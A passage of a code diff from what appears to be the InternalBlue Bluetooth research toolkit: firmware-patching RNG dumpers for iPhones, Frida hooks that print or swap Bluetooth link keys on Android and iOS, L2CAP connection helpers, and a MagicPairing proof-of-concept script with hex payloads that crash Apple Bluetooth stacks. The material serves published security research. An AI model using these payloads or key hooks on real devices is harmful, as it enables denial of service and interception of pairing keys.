bl 0x573B8 // send_hci_event_without_free()
// free HCI buffer
mov r0, r4
bl 0x581AE // osapi_blockPoolFree
pop {r0-r4, pc}
""" % (MEM_ROUNDS, MEM_RNG, PRAND)
internalblue = iOSCore(log_level='info')
internalblue.interface = internalblue.device_list()[0][1] # just use the first device
# setup sockets
if not internalblue.connect():
internalblue.logger.critical("No connection to target device.")
exit(-1)
internalblue.logger.info("installing assembly patches...")
# Disable original RNG
patch = asm("bx lr; bx lr", vma=FUN_RNG) # 2 times bx lr is 4 bytes and we can only patch 4 bytes
if not internalblue.patchRom(FUN_RNG, patch):
internalblue.logger.critical("Could not disable original RNG!")
exit(-1)
# Install the RNG code in RAM (2nd step on iPhone to not disturb the readMemAligned snippet)
code = asm(ASM_SNIPPET_RNG, vma=ASM_LOCATION_RNG)
if not internalblue.writeMem(address=ASM_LOCATION_RNG, data=code, progress_log=None):
internalblue.logger.critical("error!")
exit(-1)
internalblue.logger.info("Installed all RNG hooks.")
"""
We cannot call HCI Read_RAM from this callback as it requires another callback (something goes wrong here),
so we cannot solve this recursively but need some global status variable. Still, polling this is way faster
than polling a status register in the Bluetooth firmware itself.
"""
# global status
internalblue.rnd_done = False
def rngStatusCallback(record):
hcipkt = record[0] # get HCI Event packet
if not issubclass(hcipkt.__class__, hci.HCI_Event):
return
if hcipkt.data[0:4] == bytes("RAND", "utf-8"):
internalblue.logger.debug("Random data done!")
internalblue.rnd_done = True
# add RNG callback
internalblue.registerHciCallback(rngStatusCallback)
# read for multiple rounds to get more experiment data
rounds = 100
i = 0
data = bytearray()
while rounds > i:
internalblue.logger.info("RNG round %i..." % i)
# launch assembly snippet
internalblue.launchRam(ASM_LOCATION_RNG)
# wait until we set the global variable that everything is done
while not internalblue.rnd_done:
continue
internalblue.rnd_done = False
# and now read and save the random
random = internalblue.readMem(MEM_RNG, MEM_ROUNDS * 5)
data.extend(random)
i = i + 1
internalblue.logger.info("Finished acquiring random data!")
# every 5th byte i 0x42
check = data[4::5]
for c in check:
if c != 0x42:
internalblue.logger.error("Data was corrupted by another process!")
# uhm and for deleting every 5th let's take numpy (oh why??)
data = np.delete(data, np.arange(4, data.__len__(), 5))
f = open("i6_randomdata_pseudo-%irounds-reg0x%x.bin" % (rounds, PRAND), "wb")
f.write(data)
f.close()
internalblue.logger.info("--------------------")
internalblue.logger.info("Entering InternalBlue CLI to interpret RNG.")
# enter CLI
cli = InternalBlueCLI(Namespace(data_directory=None, verbose=False, trace=None, save=None), internalblue)
sys.exit(cli.cmdloop())
+238
View File
@@ -0,0 +1,238 @@
#!/usr/bin/python2
# Jiska Classen, Secure Mobile Networking Lab
import sys
from argparse import Namespace
from datetime import datetime
import numpy as np
from pwnlib.asm import asm
import internalblue.hci as hci
from internalblue.cli import InternalBlueCLI
from internalblue.ioscore import iOSCore
"""
Measure the RNG of the iPhone 7.
Similar to matedealer's thesis, p. 51.
Changes:
* Every 5th byte is now 0x42 to ensure that no other process wrote
into this memory region in the meantime. Does it job and cheaper
than checksums.
* When we are done, we send an HCI event containing 'RAND'. We catch
this with a callback. Way more efficient than polling.
* We overwrite the original `rbg_rand` function with `bx lr` to
ensure we're the only ones accessing the RNG.
* !!! Wi-Fi must be disabled by hand.
"""
# hd --len 0x1100 0x20f200
# hd --len 0x1000 0x222000
# hd --len 0x3000 0x229000
ASM_LOCATION_RNG = 0x229000 # load our snippet here
MEM_RNG = ASM_LOCATION_RNG + 0xf0 # store results here
MEM_ROUNDS = 0x900 # run this often (x5 bytes)
FUN_RNG = 0x6CE22 # original RNG function that we overwrite with bx lr
ASM_SNIPPET_RNG = """
pop {r4-r8, lr} // fix the launch ram 4 byte thingie
// use r0-r7 locally
push {r0-r7, lr}
// send a command complete event as we overwrote the launch_RAM handler to prevent HCI timeout event wait
mov r0, #0xFC4E // launch RAM command
mov r1, 0 // event success
bl 0x2BCA // bthci_event_SendCommandCompleteEventWithStatus
// enter RNG dumping mode
ldr r0, =0x%x // run this many rounds
ldr r1, =0x%x // dst: store RNG data here
bl dump_rng
// done, let's notify
bl notify_hci // doesn't work on iPhone 7 !!!
// back to lr
pop {r0-r7, pc}
//// the main RNG dumping routine
dump_rng:
// wait until RNG is ready, which is indicated by status 0x200fffff
wait_ready:
ldr r2,=0x352604
ldr r2, [r2]
ldr r3, =0x200fffff
cmp r2, r3
bne wait_ready
// request new entropy: rbg_control_adr=1
mov r3, 1
ldr r2, =0x352600
str r3, [r2]
// dst is in r1, dump RNG value here
ldr r2, =0x352608
ldr r3, [r2]
str r3, [r1]
add r1, 4
// add a test byte to ensure that no other process wrote here
mov r3, 0x42
str r3, [r1]
add r1, 1
// loop for rounds in r0
subs r0, 1
bne dump_rng
bx lr
//// issue an HCI event once we're done
notify_hci:
push {r0-r4, lr}
// allocate vendor specific hci event
mov r2, 6
mov r1, 0xff
mov r0, 8
bl 0x2BF2 // bthci_event_AllocateEventAndFillHeader
mov r4, r0 // save pointer to the buffer in r4
// append buffer with "RAND"
add r0, 10
ldr r1, =0x444e4152 // RAND
str r1, [r0]
// send hci event
mov r0, r4 // back to buffer at offset 0
bl 0x29E0 // bthci_event_AttemptToEnqueueEventToTransport
pop {r0-r4, pc}
""" % (MEM_ROUNDS, MEM_RNG)
internalblue = iOSCore(log_level='info')
internalblue.interface = internalblue.device_list()[0][1] # just use the first device
# setup sockets
if not internalblue.connect():
internalblue.logger.critical("No connection to target device.")
exit(-1)
internalblue.logger.info("installing assembly patches...")
"""
# Disable original RNG
patch = asm("bx lr; bx lr", vma=FUN_RNG) # 2 times bx lr is 4 bytes and we can only patch 4 bytes
if not internalblue.patchRom(FUN_RNG, patch):
internalblue.logger.critical("Could not disable original RNG!")
exit(-1)
"""
# Install the RNG code in RAM (2nd step on iPhone to not disturb the readMemAligned snippet)
code = asm(ASM_SNIPPET_RNG, vma=ASM_LOCATION_RNG)
if not internalblue.writeMem(address=ASM_LOCATION_RNG, data=code, progress_log=None):
internalblue.logger.critical("error!")
exit(-1)
# iPhone 7 Launch_RAM fix: overwrite an unused HCI handler
# Here it is not called within the handler table but within another function.
patch = asm("b 0x%x" % ASM_LOCATION_RNG, vma=0x607AC)
if not internalblue.patchRom(0x607AC, patch, 0): # use slot 0 and only slot 0
internalblue.logger.critical("Could not implement our launch RAM fix!")
exit(-1)
internalblue.logger.info("Installed all RNG hooks.")
"""
We cannot call HCI Read_RAM from this callback as it requires another callback (something goes wrong here),
so we cannot solve this recursively but need some global status variable. Still, polling this is way faster
than polling a status register in the Bluetooth firmware itself.
"""
# global status
internalblue.rnd_done = False
def rngStatusCallback(record):
hcipkt = record[0] # get HCI Event packet
if not issubclass(hcipkt.__class__, hci.HCI_Event):
return
if hcipkt.data[0:4] == bytes("RAND", "utf-8"):
internalblue.logger.debug("Random data done!")
internalblue.rnd_done = True
# add RNG callback
internalblue.registerHciCallback(rngStatusCallback)
# cli.commandLoop(internalblue)
# read for multiple rounds to get more experiment data
rounds = 1000
i = 0
data = bytearray()
while rounds > i:
internalblue.logger.info("RNG round %i..." % i)
# launch assembly snippet
internalblue.launchRam(ASM_LOCATION_RNG)
# wait until we set the global variable that everything is done
while not internalblue.rnd_done:
continue
internalblue.rnd_done = False
# and now read and save the random
random = internalblue.readMem(MEM_RNG, MEM_ROUNDS * 5)
# do an immediate check to tell where the corruption happened
check = random[4::5]
pos = 0
failed = False
for c in check:
pos = pos + 1
if c != 0x42:
internalblue.logger.warning(" Data was corrupted at 0x%x, repeating round." % (MEM_RNG + (pos * 5)))
failed = True
break
if failed:
continue
# no errors, save data
data.extend(random)
i = i + 1
internalblue.logger.info("Finished acquiring random data!")
# uhm and for deleting every 5th let's take numpy (oh why??)
data = np.delete(data, np.arange(4, data.__len__(), 5))
f = open("i7_randomdata-%irounds-%s.bin" % (rounds, datetime.now()), "wb")
f.write(data)
f.close()
internalblue.logger.info("--------------------")
internalblue.logger.info("Entering InternalBlue CLI to interpret RNG.")
# enter CLI
cli = InternalBlueCLI(Namespace(data_directory=None, verbose=False, trace=None, save=None), internalblue)
sys.exit(cli.cmdloop())
+149
View File
@@ -0,0 +1,149 @@
/*
Keychange
The Bluetooth chip cannot save its key internally, so it asks Android with
the according HCI command, which we exchange.
Usage:
* Attach to existing daemon
frida -U com.android.bluetooth --no-pause -l android_keychange.js
*/
var swap_key = true; // actually swap the key (otherwise just prints the key)
var debug = false; // enable/disable printing raw packets
// Addresses for Samsung Galaxy Note 20 5G January 2021
var base = Module.getBaseAddress('libbluetooth.so');
//var filter_incoming_event = base.add(0x2efcb4); // from hci_layer.cc
var transmit_command = base.add(0x2f201c); // from hci_layer.cc
/*
Helper functions
*/
function print_hex(byte_array) {
var bytes_string = "";
for (var i = 0; i < byte_array.length; i+=1) {
bytes_string += ("00" + byte_array[i].toString(16)).substr(-2);
}
console.log('\t' + bytes_string);
}
function print_backtrace(ctx) {
console.log('Backtrace:\n' +
Thread.backtrace(ctx, Backtracer.ACCURATE)
.map(DebugSymbol.fromAddress).join('\n') + '\n');
}
/* *** Receiving direction ***
Interceptor.attach(filter_incoming_event, {
onEnter: function(args) {
if (debug) {
console.log("filter_incoming_event");
}
}
});
*/
/*
We exchange the original key in the host's key response.
static void transmit_command(BT_HDR* command,
command_complete_cb complete_callback,
command_status_cb status_callback, void* context)
typedef struct {
uint16_t event;
uint16_t len;
uint16_t offset;
uint16_t layer_specific;
uint8_t data[];
} BT_HDR;
*/
Interceptor.attach(transmit_command, {
onEnter: function(args) {
var BT_HDR = this.context.x0;
if (debug) {
console.log("transmit_command");
var event = BT_HDR.readU16();
var len = BT_HDR.add(2).readU16();
var offset = BT_HDR.add(4).readU16();
var layer_specific = BT_HDR.add(6).readU16();
// I think the event is always BT_EVT_TO_LM_HCI_CMD = 0x2000
console.log("event: " + event);
console.log("len: " + len);
console.log("off: " + offset);
console.log("spec: " + layer_specific);
// When setting the name:
// 00000000 13 0c f8 46 6f 6f 66 6f 6e 65 00 00 00 00 00 00 ...Foofone......
// Write_Local_Name = 0xC13
console.log(BT_HDR.add(8).readByteArray(len));
}
var hci_cmd = BT_HDR.add(8).readU16();
if (hci_cmd == 0x40b) {
console.log("HCI_Link_Key_Request_Reply");
console.log(" * Intercepted address and key:");
var data = new Uint8Array(BT_HDR.add(11).readByteArray(6+16)); // transform to normal array
var bd_addr = data.slice(0,6);
var link_key = data.slice(6);
print_hex(bd_addr);
print_hex(link_key);
if (swap_key) {
console.log(" ! Replacing key with an invalid one.");
BT_HDR.add(11+6).writeByteArray([0x13, 0x37, 0x42, 0x23, 0xde, 0xad, 0xbe, 0xef]); // just flipping a few bytes
}
}
// BLE with SMP on Mi Band 2 uses this
if (hci_cmd == 0x2019) {
console.log("LE_Enable_Encryption");
console.log(" * Intercepted handle and key:");
var hnd = new Uint8Array(BT_HDR.add(11).readByteArray(2)); // transform to normal array
var link_key = new Uint8Array(BT_HDR.add(23).readByteArray(16));
print_hex(hnd);
print_hex(link_key);
if (swap_key) {
console.log(" ! Replacing key with an invalid one.");
BT_HDR.add(23).writeByteArray([0x13, 0x37, 0x42, 0x23, 0xde, 0xad, 0xbe, 0xef]); // just flipping a few bytes
}
}
// TODO Other BLE variant - didn't test it on any device yet
if (hci_cmd == 0x201a) {
console.log("LE_Long_Term_Key_Request_Reply");
console.log(" * Intercepted handle and key:");
var data = new Uint8Array(BT_HDR.add(11).readByteArray(2+16)); // transform to normal array
var hnd = data.slice(0,2);
var link_key = data.slice(2);
print_hex(hnd);
print_hex(link_key);
if (swap_key) {
console.log(" ! Replacing key with an invalid one.");
BT_HDR.add(11+2).writeByteArray([0x13, 0x37, 0x42, 0x23, 0xde, 0xad, 0xbe, 0xef]); // just flipping a few bytes
}
}
}
});
+118
View File
@@ -0,0 +1,118 @@
/*
Keychange
The Bluetooth chip cannot save its key internally, so it asks iOS with
the according HCI command, which we exchange.
Usage:
* Attach to existing daemon
frida -U bluetoothd --no-pause -l ios_keychange.js
*/
var swap_key = false; // actually swap the key (otherwise just prints the key)
var debug = false; // enable/disable printing raw packets
var base = Module.getBaseAddress('bluetoothd');
// *** SELECT YOUR IOS VERSION HERE ***
// Functions contain function name strings, easy to determine.
var OI_HCIIfc_DataReceived = base.add(0xee5a4); // iOS 14.1, iPhone 12
//var OI_HCIIfc_DataReceived = base.add(0xed0b8); // iOS 14.4, iPhone 8
// var OI_HCIIfc_DataReceived = base.add(0xee9f0); // iOS 14.3, iPhone 8 (18C66)
// var OI_HCIIfc_DataReceived = base.add(0x108e04); // iOS 13.5, iPhone SE2
var OI_HciIfc_CopyPayload = base.add(0xe3d7c); // iOS 14.1, iPhone 12
//var OI_HciIfc_CopyPayload = base.add(0xe2ddc); // iOS 14.4, iPhone 8
// var OI_HciIfc_CopyPayload = base.add(0xFE690); // iOS 13.5, iPhone SE2
// var OI_HciIfc_CopyPayload = base.add(0xee9f0); // iOS 14.3, iPhone 8 (18C66)
var HCIIfc_src_ptr = base.add(0x671388); // iOS 14.1, iPhone 12
//var HCIIfc_src_ptr = base.add(0x654318); // iOS 14.4, iPhone 8
//var HCIIfc_src_ptr = base.add(0x6118A0); // iOS 13.5, iPhone SE2
// Helper function to print hex
function print_hex(byte_array) {
var bytes_string = "";
for (var i = 0; i < byte_array.length; i+=1) {
bytes_string += ("00" + byte_array[i].toString(16)).substr(-2);
}
console.log('\t' + bytes_string);
}
// *** Receiving direction *** (Chip -> iOS)
// OI_HCIIfc_DataReceived gets all packet types. It then calls
// HCI/SCO/ACL in the next step, and with one function in between
// ends up in OI_HCIIfc_AclPacketReceived (aka acl_recv).
// We don't necessarily need this but at least we can print if a
// key was requested.
Interceptor.attach(OI_HCIIfc_DataReceived, {
onEnter: function(args) {
var h4t = parseInt(this.context.x0); // ACL/SCO/HCI
var acl = this.context.x1;
var len = parseInt(this.context.x2);
if (debug) {
console.log("OI_HCIIfc_DataReceived" + ", type " + h4t + ", len " + len);
console.log(acl.readByteArray(len));
}
// Uncomment this to filter for a specific type:
// HCI: 0x01 (command, invalid in this direction)
// ACL: 0x02
// SCO: 0x03
// HCI: 0x04 (events + BLE data, this is valid)
// DIAG: 0x07 (should be disabled here)
//if (h4t == 4) {
//}
}
});
// *** Sending direction *** (iOS -> Chip)
// We need to exchange the original key here.
var OI_HciIfc_CopyPayload_dst = 0;
Interceptor.attach(OI_HciIfc_CopyPayload, {
onEnter: function(args) {
// save the payload pointer argument
OI_HciIfc_CopyPayload_dst = this.context.x0;
},
onLeave: function(args) {
// Intercept all data from the global struct.
// OI_HciIfc_CopyPayload doesn't intercept the H4 type but we
// might want to distinguish between ACL/HCI/... for fuzzing.
var h4t = HCIIfc_src_ptr.add(0x10).readU8();
var hnd = HCIIfc_src_ptr.add(0x18).readU16();
var len = HCIIfc_src_ptr.add(0x1c).readU16();
// This is the data. Depending on the H4 type, it needs to
// be reassembled differently (different length positions etc.)
var data = OI_HciIfc_CopyPayload_dst.readByteArray(len);
if (debug) {
console.log("OI_HciIfc_CopyPayload, type " + h4t.toString(16) + ", cmd/hnd " + hnd.toString(16) + ", len " + len);
console.log(data);
}
if (h4t == 1 && hnd == 0x40b) {
console.log("HCI_Link_Key_Request_Reply");
console.log(" * Intercepted address and key:")
data = new Uint8Array(data); // transform to normal array
var bd_addr = data.slice(0,6);
var link_key = data.slice(6);
print_hex(bd_addr);
print_hex(link_key);
if (swap_key) {
console.log(" ! Replacing key with an invalid one.")
OI_HciIfc_CopyPayload_dst.add(6).writeByteArray([0x13, 0x37, 0x42, 0x23, 0xde, 0xad, 0xbe, 0xef]); // just flipping a few bytes
}
}
}
});
+244
View File
@@ -0,0 +1,244 @@
# This class can be used to create a bluetooth connection
# to a remote device. currently it only supports unauthenticated
# connections. in general, it is very basic and offers the bare minimum
# to semi-reliably hold an active l2cap channel.
import binascii
import struct
import threading
import time
from pwnlib import log
import internalblue.hci as hci
from internalblue.utils.packing import p8, p16
CONNECTION_TYPE_CLASSIC = 0
CONNECTION_TYPE_BLE = 1
class BluetoothConnection:
def __init__(self, core, bd_addr, reconnect=1, keepalive=True, timeout=5):
self.core = core
self.remote_addr = bd_addr
self.reconnect = reconnect
self.keepalive = keepalive
self.timeout = timeout
# the handle also determines whether there is currently an active connection
self.handle = None
self.aclHandlers = []
self.reconnect_counter = 0
self.keepalive_active = False
self.link_keys = {}
self.encrypted = False
self.started_connection = False
# connection type can be either 0 (classic) or 1 (ble), default is classic
self.connection_type = CONNECTION_TYPE_CLASSIC
self.connection_callback = None
self.encryption_callback = None
self.core.registerHciCallback(self._callback)
def _keepaliveTimer(self):
if self.keepalive and self.handle:
self._sendKeepalive()
if self.keepalive_active:
threading.Timer(1, self._keepaliveTimer).start()
def _sendKeepalive(self):
pass
def _callback(self, record):
h4_record = record[0]
if issubclass(h4_record.__class__, hci.HCI_Event):
self._hciEventHandler(h4_record)
elif issubclass(h4_record.__class__, hci.HCI_Acl):
self._aclEventHandler(h4_record.getRaw())
def _hciEventHandler(self, h4_record):
event = h4_record.event_code
hci_data = h4_record.data
status = hci_data[0]
# connection complete event
if event == 3:
# connection complete - sucess
if status == 0:
handle = struct.unpack_from("h", hci_data[1:])[0]
self.handle = handle
log.info("Connection to %s complete", binascii.hexlify(self.remote_addr).decode("utf-8"))
self.keepalive_active = True
self._keepaliveTimer()
# connection complete - page timeout
elif status == 4:
log.info("Page timeout while connecting to %s", binascii.hexlify(self.remote_addr).decode("utf-8"))
# disconnection complete event
elif event == 5:
self.handle = None
log.info("Disconnected from " + binascii.hexlify(self.remote_addr).decode("utf-8"))
if self.reconnect_counter < self.reconnect:
log.info("Trying to reconnect (attempt %d of %d)", self.reconnect_counter,
self.reconnect)
# wait a second, otherwise we sometimes don't get the connection complete event...
time.sleep(1)
self.connect()
self.reconnect_counter += 1
# authentication complete
elif event == 6:
# workaround as there is apparently a bug in pythons struct
(status,) = struct.unpack_from("b", hci_data)
(handle,) = struct.unpack_from("h", hci_data[1:])
log.info("got Authentication Complete from handle %s, status: %d", hex(handle),
status)
if status == 0:
# authentication was successful, now set connection encryption
self.core.sendHciCommand(0x0413, p16(handle) + "\x01")
self.encrypted = True
if self.encryption_callback:
self.encryption_callback()
pass
else:
handle = 0
# encryption change complete
elif event == 8:
(handle, encrypt) = struct.unpack_from("hb", hci_data)
log.info("Got Encryption Change Complete from handle %s, encrypt: %d", hex(handle),
encrypt)
# pin code request
elif event == 0x16:
(bd_addr,) = struct.unpack_from("6s", hci_data)
log.info("Got Pin Code Request for %s", binascii.hexlify(bd_addr).decode("utf-8"))
self.core.sendHciCommand(0x040d, bd_addr + "\x00" + "\x41" * 0x10)
# link key request
elif event == 0x17:
(bd_addr,) = struct.unpack_from("6s", hci_data)
log.info("Got Link Key request from %s", binascii.hexlify(bd_addr).decode("utf-8"))
# link keys are not really implemented yet, just return a random link key
self.core.sendHciCommand(0x040b, bd_addr + bytes.fromhex("0d2017c7f90a78cefeeed32210e6519a"))
return
if bd_addr in self.link_keys:
# we have a link key for this device, set it
lkey_buf = self.link_keys[bd_addr][::-1]
self.core.sendHciCommand(0x040b, bd_addr + lkey_buf)
else:
# send negative link key reply, we don't have a key
self.core.sendHciCommand(0x040c, bd_addr)
# link key notification
elif event == 0x18:
(bd_addr, link_key) = struct.unpack_from("6s16s", hci_data)
log.info("Got Link Key notification from %s, key: %s", bd_addr, binascii.hexlify(link_key).decode("utf-8"))
self.link_keys[bd_addr] = link_key
# io capability request
elif event == 0x31:
(bd_addr,) = struct.unpack_from("6s", hci_data)
log.info("Got IO capability request from %s", binascii.hexlify(bd_addr).decode("utf-8"))
# pretend to not have a display or oob data present
# no display: 0x03, no oob: 0x00, auth requirements: 0x02
self.core.sendHciCommand(0x042b, bd_addr + "\x03\x00\x02")
# user confirmation request
elif event == 0x33:
(bd_addr,) = struct.unpack_from("6s", hci_data)
log.info("Got user confirmation request from %s", binascii.hexlify(bd_addr).decode("utf-8"))
# we just accept any confirmation requests
self.core.sendHciCommand(0x42c, bd_addr)
# simple pairing complete
elif event == 0x36:
(bd_addr,) = struct.unpack_from("6s", hci_data)
log.info("Got simple pairing complete from %s", binascii.hexlify(bd_addr).decode("utf-8"))
# le event
# everything from le lands here...
elif event == 0x3e:
le_event_type = hci_data[0]
le_handle = struct.unpack_from("h", hci_data[2:4])[0]
# enhanced connection complete
if le_event_type == 0x0a:
log.info("Got le enhanced connection complete, removing device from whitelist")
self.core.sendHciCommand(0x2012, bytes.fromhex("00") + self.remote_addr[::-1])
elif le_event_type == 0x01:
# sometimes we get connection complete events from previous sessions
log.info("got le connection complete with handle %d", le_handle)
if self.started_connection:
self.handle = le_handle
else:
log.info("but ignoring it as we did not initiate this connection")
def _aclEventHandler(self, data):
log.debug("Received ACL data: %s", binascii.hexlify(data).decode("utf-8"))
for handler in self.aclHandlers:
handler(data)
def encryptConnection(self):
log.info("+ + + + + + + + Encrypt + + + + + + + +")
if not self.handle:
log.info("Cannot encrypt, no active connection")
return
# authentication requested hci cmd
log.info("Send authentication requested hci cmd")
self.core.sendHciCommand(0x0411, p8(self.handle) + "\x00")
timeout = 3
ctr = 0
# wait 3 seconds for an encryted connection
while ctr < timeout:
time.sleep(0.1)
if self.encrypted:
return True
return False
def registerACLHandler(self, handler):
self.aclHandlers.append(handler)
log.debug("Registered new acl handler")
def sendACL(self, data):
data_len = p16(len(data))
handle = p16(self.handle | 0x2000)
log.debug("Sent acl data: %s", binascii.hexlify(data).decode("utf-8"))
self.core.sendH4(0x02, handle + data_len + data)
def connect(self):
if self.connection_type == CONNECTION_TYPE_CLASSIC:
self.core.connectToRemoteDevice(self.remote_addr)
elif self.connection_type == CONNECTION_TYPE_BLE:
# connection cancel
self.core.sendHciCommand(0x200e, b"")
# currently only supports random ble addresses, which are the ones
# we're targeting here anyways
self.core.connectToRemoteLEDevice(self.remote_addr, addr_type=0x01)
self.started_connection = True
else:
log.error("invalid connection type: %d", self.connection_type)
timeout_counter = 0
while timeout_counter < self.timeout:
if self.handle:
break
time.sleep(0.1)
timeout_counter += 0.1
if self.handle is None:
status = False
log.info("Connection timeout")
if self.reconnect_counter < self.reconnect:
log.info("Trying to reconnect (attempt %d of %d)", self.reconnect_counter,
self.reconnect)
self.reconnect_counter += 1
status = self.connect()
else:
log.error("Reconnection attempts exhausted")
status = False
else:
log.info("Connection successful")
if self.connection_callback:
self.connection_callback()
status = True
return status
@@ -0,0 +1,72 @@
#!/usr/bin/python2
# Dennis Heinze
import binascii
import struct
from pwnlib import log
from internalblue.utils.packing import p16
class L2CAPManager:
def __init__(self, btconn, mtu=0x30):
self.connection = btconn
self.connection.registerACLHandler(self._receptionHandler)
# cidHandlers is a map from CID -> function array
self.cidHandlers = {}
self.handlers = []
self.mtu = mtu
def sendData(self, data, cid):
data_len = len(data)
# if data_len > mtu
log.debug("Sent L2CAP data to channel: %d, data: %s", cid, binascii.hexlify(data))
self.connection.sendACL(p16(data_len) + p16(cid) + data)
def registerHandler(self, handler):
self.handlers.append(handler)
log.debug("Registered L2CAP handler")
def registerCIDHandler(self, handler, cid):
if cid not in self.cidHandlers:
self.cidHandlers[cid] = []
self.cidHandlers[cid].append(handler)
log.debug("Registered L2CAP handler for CID %d", cid)
def _receptionHandler(self, data):
if len(data) > 5:
l2cap_data = data[5:]
else:
log.debug("Received invalid L2CAP data at handler: %s", data)
return
# prioritize specific CID handlers
(length, cid) = struct.unpack_from("hh", l2cap_data)
log.debug("Received L2CAP data for cid: %d, %s", cid, binascii.hexlify(l2cap_data))
if cid in self.cidHandlers:
for handler in self.cidHandlers[cid]:
handler(l2cap_data[4:])
for handler in self.handlers:
handler(l2cap_data[4:])
class L2CAPSignalChannel:
def __init__(self, chanman):
self.chanman = chanman
self.chanman.registerCIDHandler(0x01, self._receptionHandler)
def sendCFrameRaw(self, code, identifier, length, data):
self.chanman.sendData(code + identifier + length + data)
def sendCFrame(self, code, identifier, data):
data_len = len(data) / 2
self.sendCFrameRaw(code, identifier, p16(data_len), data)
def _receptionHandler(self, data):
pass
+9
View File
@@ -0,0 +1,9 @@
# MagicPairing PoCs
This folder contains the proof-of-concepts belonging to our WiSec paper
[MagicPairing: Apple's Take on Securing Bluetooth Peripherals](https://arxiv.org/abs/2005.07255).
Run the `mp_pocs.py` script to try the PoCs. The script will interactively ask
for the required information for each of the PoCs. It assumes a connected iOS
device running InternalBlue. This can be changed by adopting the core to the
desired one (i.e. for macOS `internalblue = macOSCore()`).
+170
View File
@@ -0,0 +1,170 @@
import binascii
import sys
import time
import InternalBlueL2CAP
from BTConnection import BluetoothConnection
from pwnlib import log
from pwnlib.ui import options
from internalblue.ioscore import iOSCore
VULNS = [{
"description": "[MP1]: iOS RatchetAESSIV Crash (0xa8)",
"tech": 0,
"payload": "02010280003600AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" +
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" +
"AAAAAAAAAAA001040012345678",
"cid": 0x30,
"mtu": True
}, {
"description": "[MP2]: iOS Hint Crash (0x1)",
"tech": 0,
"payload": "01020304050607",
"cid": 0x30,
"mtu": False
}, {
"description": "[MP3]: macOS RatchetAESSIV Crash (0x0)",
"tech": 0,
"payload": "02010280003600AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" +
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" +
"AAAAAAAAAAA001040012345678",
"cid": 0x30,
"mtu": True
}, {
"description": "[MP4]: macOS Hint Crash (0x0)",
"tech": 0,
"payload": "01010310001000AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA20001000BB" +
"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBB0001040012345678",
"cid": 0x30,
"mtu": True
}, {
"description": "[MP5]: iOS RatchetAESSIV Crash (0x10d)",
"tech": 0,
"payload": "02010b028000360091b51d14747835f3a0818f7de4434329b3d4e265" +
"e5005b3f3ad5fdcaea6991b51d147478307de4434329b3d4e265e500" +
"5b3f3ad5fdcaea6991b51d147478343239343936373239357de44343" +
"29b3d4e265e5005b3f3ad5fdcaea6991a5580267a9a761bf4b046cf3" +
"0e4f6147a1a06bb74b5702d6c0333430323832333636393230393338" +
"343633343633333734363037343331373638f3a081b4323131343831" +
"6c010104002b0100",
"cid": 0x30,
"mtu": True
}, {
"description": "[MP6]: iOS RatchetAESSIV Assertion Failure Crash",
"tech": 0,
"payload": "02f3a081ae80002d330091b51d147478360104002b010000a393d231" +
"31fe617878f69af4207d34323934393637333033e22775642f7fc1cd" +
"9fdcddc89934dd39608afc6948b87ee0ef8968286341fd0515f98acd" +
"5fb62f55f923887021a4ea8730cbaae05058b60f673c510a6170aa2e" +
"cbdf1d142f763ef03f38d27c392ecdf1a574fdf906bcf74aa35da085" +
"f137ddecff2aec0d5c95b8fa83a71b42af205359e4f02aaca2ab4778" +
"001274a8183334303238323336363932303933383436333436333337" +
"34363037343331373638323131343536057f",
"cid": 0x30,
"mtu": True
}, {
"description": "[MP7]: macOS Ratcheting Loop DoS",
"tech": 0,
"payload": "02010280003600AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" +
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" +
"AAAAAAAAAA00010400fffffff0",
"cid": 0x30,
"mtu": True,
"addr_change": True
}, {
"description": "[MP8]: MagicPairing Lockout - NOT IMPLEMENTED HERE"
}, {
"description": "[L2CAP1]: AirPods L2CAP Crash",
"tech": 0,
"payload": "",
"cid": 0x30,
"mtu": False,
}, {
"description": "[L2CAP2]: Group Reception Handler NULL-Pointer Jump (Classic Version)",
"tech": 0,
"payload": "000001000200",
"cid": 0x02,
"mtu": False,
}, {
"description": "[L2CAP2]: Group Reception Handler NULL-Pointer Jump (BLE Version)",
"tech": 1,
"payload": "000001000200",
"cid": 0x02,
"mtu": False,
}
]
def listener(data):
log.info("Listener received: %s", binascii.hexlify(data))
def bd_addr_to_bytes(addr_string):
addr = addr_string.replace(":", "")
return bytes.fromhex(addr)
def main():
internalblue = iOSCore()
# let user choose device if more than one is connected
devices = internalblue.device_list()
if len(devices) > 1:
i = options("Please specify device: ", [d[2] for d in devices], 0)
internalblue.interface = internalblue.device_list()[i][1]
else:
internalblue.interface = internalblue.device_list()[0][1]
# let use choose the vuln
i = options("Please choose your vuln: ", [v["description"] for v in VULNS], 0)
vuln = VULNS[i]
if not internalblue.connect():
log.critical("No connection to internalblue device.")
sys.exit(-1)
# if the vuln requires an address change, ask for the address
if "addr_change" in vuln and vuln["addr_change"]:
change_addr = input("This PoC requires the Bluetooth address to be changed, " +
"please provide it: ")
change_addr = bd_addr_to_bytes(change_addr)
internalblue.sendHciCommand(0xfc01, change_addr[::-1])
# now we need the bd addr of the target
target = bd_addr_to_bytes(input("Target Bluetooth address: "))
# connect to the target
connection = BluetoothConnection(internalblue, target, reconnect=0)
l2cap = InternalBlueL2CAP.L2CAPManager(connection)
# in case we need an answer for one of the PoCs we listen to the given CID
if "listen_cid" in vuln:
l2cap.registerCIDHandler(listener, vuln["listen_cid"])
# set the Bluetooth technology [0->Classic, 1->BLE]
connection.connection_type = vuln["tech"]
connection.connect()
# If the PoC includes larger messages we need to do the MagicPairing Ping trick to
# increase the MTU. This could also be done by sending L2CAP Information Requests and
# Responses but this would take longer.
if vuln["mtu"]:
log.info("Sending MagicPairing Ping to increase L2CAP MTU")
l2cap.sendData(bytes.fromhex("F00000"), 0x30)
desc = vuln["description"]
log.info("Executing payload for %s", desc[:desc.find("]") + 1])
if isinstance(vuln["payload"], list):
for p in vuln["payload"]:
l2cap.sendData(bytes.fromhex(p), vuln["cid"])
else:
